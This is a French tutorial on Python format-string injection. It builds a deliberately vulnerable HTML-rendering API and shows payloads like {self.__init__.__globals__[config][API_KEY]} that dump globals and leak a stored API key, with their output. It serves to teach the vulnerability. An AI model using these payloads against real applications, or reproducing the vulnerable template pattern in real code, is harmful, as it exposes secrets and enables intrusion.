Vulnérabilités Python format string
Que sont les format strings de Python
La méthode .format()
a été introduite sur les objets strings dans Python 3 et a ensuite été rajoutée à Python 2.7. Voyons un exemple:
>>> print("I like {} and {}".format("Python","Pizza"))
"I like Python and Pizza"
Même si les format string python peuvent être très utiles dans les scripts, elles doivent être utilisées avec précaution car elles peuvent être sujettes à des vulnérabilités. Nous approfondirons cela dans la partie Exploitation des format strings.
Exemple d’une API vulnerable
Voici un exemple d’API où un utilisateur peut rendre les données utilisateur au format HTML en utilisant son propre modèle et ses propres chaînes de format:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
config = {
'API_KEY' : "212817d980b9a03add91e5814d02"
}
class API(object):
def __init__(self, apikey):
self.apikey = apikey
def renderHTML(self, templateHTML, title, text):
return (templateHTML.format(title=title, text=text))
if __name__ == '__main__':
a = API(config[API_KEY])
templateHTML = """<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>{title}</title>
</head>
<body>
<p>{text}</p>
</body>
</html>"""
text = "This is text !"
print(a.renderHTML(templateHTML, "Vuln web render App", text))
Lorsque l’utilisateur utilise cette API pour rendre les données au format HTML avec des modèles légitimes, il créerait ceci:
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Vuln web render App</title>
</head>
<body>
<p>This is text !</p>
</body>
</html>
Mais que se passerait-il si un utilisateur malveillant voulait gâcher les espaces réservés de format string à l’intérieur du modèle? Nous verrons cela dans la section suivante.
Exploitation des format strings
Nous allons essayer d’injecter des espaces réservés de format string int de charges utiles du modèle. J’ai fait un script simple prenant des arguments et exécutant la fonction render
de l’API:
Usage :
$ ./sandbox.py
Usage : python3 ./sandbox.py TEMPLATE CONTENT
Code source :
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
config = {
'API_KEY' : "212817d980b9a03add91e5814d02"
}
class API(object):
def __init__(self, apikey):
self.apikey = apikey
def renderHTML(self, templateHTML, title, text):
return (templateHTML.format(self=self, title=title, text=text))
if __name__ == '__main__':
if len(sys.argv) != 3:
print("Usage : python3 "+sys.argv[0]+" TEMPLATE CONTENT")
else :
a = API(config['API_KEY'])
print(a.renderHTML(sys.argv[1], "Vuln web render App", sys.argv[2]))
Essayons cette application avec un exemple légitime:
$ ./test.py "<p>{text}</p>" "Wow such string"
<p>Wow such string</p>
Mais les format strings sont géniaux en python! Vous pouvez accéder aux propriétés de l’objet directement dans le format string. Dans le cas d’une classe, cela peut être vraiment utile pour accéder à une valeur spécifique de la classe. Par exemple, le format string {person.username}
récupère le champ username
de la classe Person
suivante:
class Person(object):
def __init__(self, username):
super(Person, self).__init__()
self.username = username
Dans notre cas, nous pouvons exploiter cela pour accéder à d’autres attributs, tels que __init__
:
$ ./sandbox.py "<p>{text.__init__}</p>" "Wow such string"
<p><method-wrapper '__init__' of str object at 0x7f8f10a3b9f0></p>
Mais nous pouvons également l’utiliser pour obtenir le contexte global du script, en utilisant __globals__
après __init__
:
$ ./sandbox.py "<p>{self.__init__.__globals__}</p>" "Wow such string"
<p>{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f1385ac5f40>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': './sandbox.py', '__cached__': None, 'sys': <module 'sys' (built-in)>, 'config': {'API_KEY': '212817d980b9a03add91e5814d02'}, 'API': <class '__main__.API'>, 'a': <__main__.API object at 0x7f1385b31490>}</p>
En continuant ainsi, nous pouvons accéder à l'API_KEY
:
$ ./sandbox.py "<p>{self.__init__.__globals__[config][API_KEY]}</p>" "Wow such string"
<p>212817d980b9a03add91e5814d02</p
Références
- https://docs.python.org/3/library/functions.html#format
- Beaucoup d’exemples de chaînes au format python : https://pyformat.info/